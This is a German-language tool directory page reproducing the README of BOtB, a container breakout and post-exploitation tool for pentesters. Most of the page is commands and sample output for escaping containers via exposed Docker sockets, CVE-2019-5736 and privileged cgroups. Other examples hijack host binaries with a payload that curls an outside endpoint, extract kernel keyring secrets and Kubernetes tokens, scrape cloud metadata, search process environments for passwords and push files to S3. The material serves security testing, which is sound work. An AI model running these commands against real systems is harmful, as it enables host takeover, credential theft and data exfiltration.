Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
botb — Ein Container-Analyse- und Exploitation-Tool für Pentester und Ingenieure. | Kitploit
Tools/GitHubGitHub/brompwnie/botb
Container-SicherheitSchwachstellenanalyseExploitationPost-ExploitationPenetrationstestsCloud-SicherheitContainer-Ausbruch
GitHubbrompwnie/botb

botb

Ein Container-Analyse- und Exploitation-Tool für Pentester und Ingenieure.

Repository anzeigen
684566vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Github All Releases

Ausbruch aus der Box (BOtB)

BOtB ist ein Tool zur Container-Analyse und -Ausnutzung, das für Pentester und Ingenieure entwickelt wurde und gleichzeitig CI/CD-freundlich mit gängigen CI/CD-Technologien ist.

Was macht es?

BOtB ist ein CLI-Tool, mit dem Sie:

  • Häufige Container-Sicherheitslücken ausnutzen
  • Typische Post-Exploitation-Aktionen in Containern durchführen
  • Fähigkeiten bereitstellen, wenn bestimmte Tools oder Binärdateien im Container nicht verfügbar sind
  • BOtBs Fähigkeiten mit CI/CD-Technologien nutzen, um Container-Bereitstellungen zu testen
  • Die oben genannten Aktionen entweder manuell oder automatisiert durchführen

Aktuelle Fähigkeiten

  • Container-Ausbruch über exponierte Docker-Daemons (docker.sock)
  • Container-Ausbruch über CVE-2019-5736
  • Privilegierter Container-Ausbruch über aktivierte CAPS und SYSCALLS
  • Extrahieren von Daten aus Linux-Kernel-Keyrings durch Missbrauch des Keyctl-Syscalls über permissive Seccomp-Profile
  • Kubernetes-Service-Account-Secrets identifizieren und versuchen zu nutzen
  • Metadaten-Service-Endpunkte identifizieren, z.B. http://169.254.169.254, http://metadata.google.internal/ und http://100.100.100.200/
  • Metadaten von GCP-Metadaten-Endpunkten auslesen
  • Sensible Zeichenketten in ENV und Prozessen des ProcFS analysieren und identifizieren, z.B. /Proc/{pid}/Environ
  • UNIX-Domain-Sockets finden und identifizieren
  • UNIX-Domain-Sockets finden, die HTTP unterstützen
  • Docker-Daemon auf UNIX-Domain-Sockets oder auf einer Schnittstelle finden und identifizieren
  • Host-Binärdateien mit einer benutzerdefinierten Payload kapern
  • Aktionen im CI/CD-Modus durchführen und nur Exit-Codes > 0 zurückgeben
  • Daten an einen S3-Bucket pushen
  • BOtB zwingen, immer einen Exit-Code von 0 zurückzugeben (nützlich für nicht-blockierende CI/CD)
  • Die oben genannten Aktionen über CLI-Argumente oder aus einer YAML-Konfigurationsdatei durchführen
  • Reverse-DNS-Lookup durchführen

Installation

Binärdateien

Für Installationsanweisungen über Binärdateien besuchen Sie bitte die Releases-Seite.

Über Go

root@kitploit:~
go get github.com/brompwnie/botb

Aus dem Quellcode erstellen

BOtB über Go erstellen:

root@kitploit:~
go build

BOtB über Make erstellen:

root@kitploit:~
make

Verwendung

BOtB kann in eine Binärdatei für die Zielplattform kompiliert werden und unterstützt die folgende Verwendung

root@kitploit:~
./botb-linux-amd64 -h
-aggr string
        Attempt to exploit RuncPWN (default "nil")
  -always-succeed
        Always set BOtB's Exit code to Zero
  -autopwn
        Attempt to autopwn exposed sockets
  -cicd
        Attempt to autopwn but don't drop to TTY,return exit code 1 if successful else 0
  -config string
        Load config from provided yaml file (default "nil")
  -endpoints string
        Provide a textfile with endpoints to use for test (default "nil")
  -find-docker
        Attempt to find Dockerd
  -find-http
        Hunt for Available UNIX Domain Sockets with HTTP
  -find-sockets
        Hunt for Available UNIX Domain Sockets
  -hijack string
        Attempt to hijack binaries on host (default "nil")
  -k8secrets
        Identify and Verify K8's Secrets
  -keyMax int
         Maximum key id range (default 100000000) and max system value is 999999999 (default 100000000)
  -keyMin int
         Minimum key id range (default 1) (default 1)
  -metadata
        Attempt to find metadata services
  -path string
        Path to Start Scanning for UNIX Domain Sockets (default "/")
  -pwn-privileged string
        Provide a command payload to try exploit --privilege CGROUP release_agent's (default "nil")
  -pwnKeyctl
        Abuse keyctl syscalls and extract data from Linux Kernel keyrings
  -recon
        Perform Recon of the Container ENV
  -region string
        Provide a AWS Region e.g eu-west-2 (default "nil")
  -rev-dns string
        Perform reverse DNS lookups on a subnet. Parameter must be in CIDR notation, e.g., -rev-dns 192.168.0.0/24 (default "nil")
  -s3bucket string
        Provide a bucket name for S3 Push (default "nil")
  -s3push string
        Push a file to S3 e.g Full command to push to https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME would be: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME (default "nil")
  -scrape-gcp
        Attempt to scrape the GCP metadata service
  -verbose
        Verbose output
  -wordlist string
        Provide a wordlist (default "nil")

BOtB kann auch angewiesen werden, Einstellungen aus einer YAML-Datei über den Parameter config zu laden

root@kitploit:~
#./botb-linux-amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
...

Die folgenden Verwendungsbeispiele geben standardmäßig einen Exit-Code > 0 zurück, wenn eine Anomalie erkannt wird. Dies wird durch "echo $?" dargestellt, das den Exit-Code des zuletzt ausgeführten Befehls anzeigt.

Linux-Kernel-Keyring-Secrets identifizieren und extrahieren, die nicht ordnungsgemäß geschützt wurden

Weitere Informationen vom ursprünglichen Autor finden Sie hier https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/

root@kitploit:~
#./botb-linux-amd64 -pwnKeyctl=true -keyMin=0 -keyMax=100000000
[+] Break Out The Box
[*] Attempting to Identify and Extract Keyring Values
[!] WARNING, this can be resource intensive and your pod/container process may be killed, iterate over min and max with 100000000 increments to be safe
[!] Subkey description for key [251133632]: user;0;0;3f010000;brompwnie_secret
[!] Output {
 "KeyId": 13738777,
 "Valid": true,
 "Name": "_ses.e326b8816c24d0ddda6c2c82ecf62ea2302a7239fce2fd104775d154a97fa3d6",
 "Type": "keyring",
 "Uid": "0",
 "Gid": "0",
 "Perms": "3f1b0000",
 "String_Content": "\ufffd\ufffd\ufffd\u000e",
 "Byte_Content": "wP73Dg==",
 "Comments": null,
 "Subkeys": [
  {
   "KeyId": 251133632,
   "Valid": true,
   "Name": "brompwnie_secret",
   "Type": "user",
   "Uid": "0",
   "Gid": "0",
   "Perms": "3f010000",
   "String_Content": "thetruthisialsoreallyliketrees",
   "Byte_Content": "dGhldHJ1dGhpc2lhbHNvcmVhbGx5bGlrZXRyZWVz",
   "Comments": null,
   "Subkeys": null,
   "Output": ""
  }
 ],
 "Output": ""
}
[+] Finished

Gemountete Kubernetes-Service-Account-Secrets identifizieren und verifizieren

root@kitploit:~
#./botb-linux-amd64 -k8secrets=true
[+] Break Out The Box
[*] Identifying and Verifying K8's Secrets
[!] Token found at: /var/run/secrets/kubernetes.io/serviceaccount/token
[!] Token found at: /run/secrets/kubernetes.io/serviceaccount/token
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[*] Trying:  https://kubernetes.default/api/v1
[!] Valid response with token (xxxxxxxxxx...)on -> https://kubernetes.default/api/v1
[*] Trying:  https://kubernetes.default/api/v1/namespaces
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/secrets
[*] Trying:  https://kubernetes.default/api/v1/namespaces/default/pods
[+] Finished

Ausbruch aus dem Container über einen exponierten Docker-Daemon

Dieser Ansatz führt zu einer interaktiven TTY auf dem Host.

root@kitploit:~
#./bob_linux_amd64 -autopwn=true    
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
./docker/docker -H unix:///var/meh run -t -i -v /:/host alpine:latest /bin/sh
chroot /host && clear
echo 'You are now on the underlying host'
You are now on the underlying host
/ # 

Ausbruch aus einem Container, aber auf CI/CD-freundliche Weise

Dieser Ansatz führt nicht zu einer TTY auf dem Host, sondern gibt einen Exit-Code > 0 zurück, um einen erfolgreichen Container-Ausbruch anzuzeigen.

root@kitploit:~
#./bob_linux_amd64 -autopwn=true -cicd=true
[+] Break Out The Box
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to autopwn:  /var/meh
[+] Attempting to escape to host...
[!] Successfully escaped container
[+] Finished

#echo $?
1

CVE-2019-5736 mit einer benutzerdefinierten Payload ausnutzen

Bitte beachten Sie, dass für diese Ausnutzung ein Prozess im Zielcontainer ausgeführt werden muss (in diesem Szenario).

root@kitploit:~
#./bob_linux_amd64 -aggr='curl "https://some.endpoint.com?command=$0&param1=$1&param2=$2">/dev/null 2>&1'
[+] Break Out The Box[!] WARNING THIS OPTION IS NOT CICD FRIENDLY, THIS WILL PROBABLY BREAK THE CONTAINER RUNTIME BUT YOU MIGHT GET SHELLZ...
[+] Attempting to exploit CVE-2019-5736 with command:  curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$
1&param2=$2">/dev/null 2>&1
[+] This process will exit IF an EXECVE is called in the Container or if the Container is manually stopped
[+] Finished

Befehle/Binärdateien auf einem Host mit einer benutzerdefinierten Payload kapern

Bitte beachten Sie, dass dies verwendet werden kann, um zu testen, ob externe Entitäten Befehle innerhalb des Containers ausführen. Beispiele sind Docker Exec und Kubectl CP.

root@kitploit:~
#./bob_linux_amd64 -hijack='curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$
1&param2=$2">/dev/null 2>&1'
[+] Break Out The Box
[!] WARNING THIS WILL PROBABLY BREAK THE CONTAINER BUT YOU MAY GET SHELLZ...
[+] Attempting to hijack binaries
[*] Command to be used:  curl "https://bobendpoint.herokuapp.com/canary/bobby?command=$0&param1=$1&param2=$2">/dev/null 2>&1
[+] Currently hijacking:  /bin
[+] Currently hijacking:  /sbin
[+] Currently hijacking:  /usr/bin
[+] Finished

UNIX-Domain-Sockets finden

root@kitploit:~
#./botb-linux-amd64 -find-sockets=true
[+] Break Out The Box
[+] Hunting Down UNIX Domain Sockets from: /
[!] Valid Socket: /var/meh
[+] Finished

#echo $?
1

Einen Docker-Daemon finden

root@kitploit:~
#./bob_linux_amd64 -find-docker=true
[+] Break Out The Box
[+] Looking for Dockerd
[!] Dockerd DOCKER_HOST found: tcp://0.0.0.0:2375
[+] Hunting Docker Socks
[!] Valid Docker Socket: /var/meh
[+] Finished

#echo $?
1

ENV und ProcFS-Umgebung auf sensible Zeichenketten analysieren

Standardmäßig sucht BOtB nach den beiden Begriffen "secret" und "password".

root@kitploit:~
 ./bob_linux_amd64 -recon=true
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[!] Sensitive keyword found in: /proc/1/environ -> 'PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=0e51200113eaTERM=xtermGOLANG_VERSION=1.12.4GOPATH=/gofoo=secretpasswordHOME=/root'
[!] Sensitive keyword found in: /proc/12/environ -> 'GOLANG_VERSION=1.12.4HOSTNAME=0e51200113eaGOPATH=/goPWD=/app/binHOME=/rootfoo=secretpasswordTERM=xtermSHLVL=1PATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin_=./bob_linux_amd64OLDPWD=/bin'
[!] Sensitive keyword found in: /proc/self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
[!] Sensitive keyword found in: /proc/thread-self/environ -> 'HOSTNAME=0e51200113eaSHLVL=1HOME=/rootfoo=secretpasswordOLDPWD=/bin_=./bob_linux_amd64TERM=xtermPATH=/go/bin:/usr/local/go/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binGOPATH=/goPWD=/app/binGOLANG_VERSION=1.12.4'
[+] Checking ENV Variables for secrets
[!] Sensitive Keyword found in ENV:  foo=secretpassword
[+] Finished

#echo $?
1

BOtB kann eine Wortliste übergeben werden, um nach bestimmten Schlüsselwörtern zu suchen.

root@kitploit:~
#cat wordlist.txt 
moo

# ./bob_linux_amd64 -recon=true -wordlist=wordlist.txt
[+] Break Out The Box
[+] Performing Container Recon
[+] Searching /proc/* for data
[*] Loading entries from: wordlist.txt
[+] Checking ENV Variables for secrets
[*] Loading entries from: wordlist.txt
[+] Finished

# echo $?
0

Nach Metadaten-Endpunkten scannen

BOtB scannt standardmäßig nach zwei Metadaten-Endpunkten.

root@kitploit:~
#  ./bob_linux_amd64 -metadata=true                    
[+] Break Out The Box
[*] Attempting to query metadata endpoint: 'http://169.254.169.254/latest/meta-data/'
[*] Attempting to query metadata endpoint: 'http://kubernetes.default.svc/'
[+] Finished

# echo $?
0

BOtB kann auch eine Liste von Endpunkten übergeben werden, nach denen gescannt werden soll.

root@kitploit:~
#  cat endpoints.txt 
https://heroku.com

#  ./bob_linux_amd64 -metadata=true -endpointlist=endpoints.txt
[+] Break Out The Box
[*] Loading entries from: endpoints.txt
[*] Attempting to query metadata endpoint: 'https://heroku.com'
[!] Reponse from 'https://heroku.com' -> 200
[+] Finished

# echo $?
1

Nach UNIX-Domain-Sockets scannen, die auf HTTP antworten

root@kitploit:~
#  ./bob_linux_amd64 -find-http=true
[+] Break Out The Box
[+] Looking for HTTP enabled Sockets
[!] Valid HTTP Socket: /var/run/docker.sock
[+] Finished

Daten vom GCP-Metadaten-Instanz auslesen

root@kitploit:~
#  ./botb_linux_amd64 -scrape-gcp=true
[+] Break Out The Box
[+] Attempting to connect to:  169.254.169.254:80

[*] Output->
 HTTP/1.0 200 OK
Metadata-Flavor: Google
Content-Type: application/text
Date: Sun, 30 Jun 2019 21:53:41 GMT
Server: Metadata Server for VM
Connection: Close
Content-Length: 21013
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

0.1/meta-data/attached-disks/disks/0/deviceName persistent-disk-0
0.1/meta-data/attached-disks/disks/0/index 0
0.1/meta-data/attached-disks/disks/0/mode READ_WRITE
.....

Daten an einen AWS S3-Bucket pushen

root@kitploit:~
#  ./bob_linux_amd64 -s3push=fileToPush.tar.gz -s3bucket=nameOfS3Bucket -region=eu-west-2
[+] Break Out The Box
[+] Pushing fileToPush.tar.gz -> nameOfS3Bucket
[*] Data uploaded to: https://nameOfS3Bucket.s3.eu-west-2.amazonaws.com/fileToPush.tar.gz
[+] Finished

Ausbruch aus einem privilegierten Container

root@kitploit:~
#  ./bob_linux_amd64 -pwn-privileged=hostname
[+] Break Out The Box
[+] Attempting to exploit CGROUP Privileges
[*] The result of your command can be found in /output
[+] Finished
root@418fa238e34d:/app# cat /output 
docker-desktop

BOtB zwingen, immer mit einem Exit-Code von 0 zu bestehen

Dies ist nützlich für nicht-blockierende CI/CD-Tests

root@kitploit:~
#  ./bob_linux_amd64 -pwn-privileged=hostname -always-succeed-true
[+] Break Out The Box
[+] Attempting to exploit CGROUP Privileges
[*] The result of your command can be found in /output
[+] Finished
# echo $?
0

BOtB mit einer YAML-Konfigurationsdatei verwenden

Beispiel-YAML-Datei cfg.yml

root@kitploit:~
payload: id
verbose: false
always-succeed: true
cicd: false
endpointlist: endpoints.txt
wordlist: wordlist.txt
path: /
mode: find-sockets

BOtB mit obiger YAML ausführen

root@kitploit:~
#  ./bob_linux_amd64 -config=cfg.yml
[+] Break Out The Box
[+] Loading Config: cfg.yml
[+] Looking for UNIX Domain Sockets from: /
[!] Valid Socket: /tmp/thisisnotasocket.mock
[+] Finished

BOtB mit CI/CD verwenden

BOtB kann mit CI/CD-Technologien verwendet werden, die Exit-Codes verwenden, um zu bestimmen, ob Tests bestanden oder fehlgeschlagen sind. Unten sehen Sie ein Shell-Skript, das zwei BOtB-Tests ausführt und die Exit-Codes der beiden Tests verwendet, um den Exit des Shell-Skripts festzulegen. Wenn einer der beiden Tests einen Exit-Code > 0 zurückgibt, schlägt der Test, der das Shell-Skript ausführt, fehl.

root@kitploit:~
#!/bin/sh 

exitCode=0

echo "[+] Testing UNIX Sockets"
./bob_linux_amd64 -autopwn -cicd=true
exitCode=$?

echo "[+] Testing Env"
./bob_linux_amd64 -recon=true
exitCode=$?

(exit $exitCode)

Das obige Skript ist nicht die einzige Möglichkeit, BOtB mit CI/CD-Technologien zu verwenden, es könnte aber auch alleine und nicht in ein Shell-Skript verpackt verwendet werden. Eine Beispiel-YML-Konfiguration wäre:

root@kitploit:~
version: 2
cicd:
  runATest: ./bob_linux_amd64 -autopwn -cicd=true

Unten finden Sie eine Beispielkonfiguration, die mit Heroku CI verwendet werden kann:

root@kitploit:~
{
    "environments": {
        "test": {
            "scripts": {
                "test": "./bob_linux_amd64 -autopwn -cicd=true"
            }
        }
    }
}

Unten finden Sie eine Beispielkonfiguration mit Heroku CI, die jedoch ein Wrapper-Shell-Skript verwendet:

root@kitploit:~
{
    "environments": {
        "test": {
            "scripts": {
                "test": "./bin/testSocksAndEnv.sh"
            }
        }
    }
}

Probleme, Bugs und Verbesserungen

Bei Fehlern reichen Sie bitte ein Issue ein. Es gibt eine lange Liste von Verbesserungen, aber reichen Sie bitte ein Issue ein, wenn es etwas gibt, das Sie zu BOtB hinzugefügt sehen möchten.

Referenzen und Ressourcen

Dieses Tool wäre ohne die Beiträge anderer in der Community nicht möglich. Nachfolgend eine Liste von Ressourcen, die mir geholfen haben.

  • https://docs.docker.com/engine/security/https/
  • https://kubernetes.io/docs/reference/generated/kubectl/kubectl-commands#cp
  • https://docs.docker.com/engine/reference/commandline/exec/
  • https://github.com/GoogleContainerTools/container-structure-test
  • https://github.com/coreos/clair
  • https://github.com/aquasecurity/docker-bench
  • https://www.cisecurity.org/benchmark/docker/
  • https://github.com/Frichetten/CVE-2019-5736-PoC
  • https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/
  • https://www.twistlock.com/labs-blog/disclosing-directory-traversal-vulnerability-kubernetes-copy-cve-2019-1002101/
  • https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-classic-platform.html
  • https://github.com/wagoodman/dive
  • https://github.com/cji/talks/blob/master/BruCON2018/Outside%20The%20Box%20-%20BruCON%202018.pdf
  • https://github.com/singe/container-breakouts
  • https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
  • https://zwischenzugs.com/2015/06/24/the-most-pointless-docker-command-ever/

Vorträge und Veranstaltungen

BOtB ist für die folgenden Veranstaltungen geplant:

  • BSides London 2019 (https://sched.co/PAwB) und die Folien finden Sie hier https://github.com/brompwnie/bsideslondon2019
  • Blackhat Las Vegas Arsenal 2019 (https://www.blackhat.com/us-19/arsenal/schedule/index.html#break-out-the-box-botb-container-analysis-exploitation-and-cicd-tool-14988)
  • DefCon 27 Cloud Village (https://cloud-village.org/)
  • Blackhat Europe 2019 (https://www.blackhat.com/eu-19/briefings/schedule/index.html#reverse-engineering-and-exploiting-builds-in-the-cloud-17287)
  • DevSecCon London 2019 (https://www.devseccon.com/london-2019/)

Lizenz

BOtB ist lizenziert unter einer Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License (http://creativecommons.org/licenses/by-nc-sa/4.0).

Tool herunterladen
  • https://github.com/antitree/keyctl-unmask#keyctl-unmask
  • https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/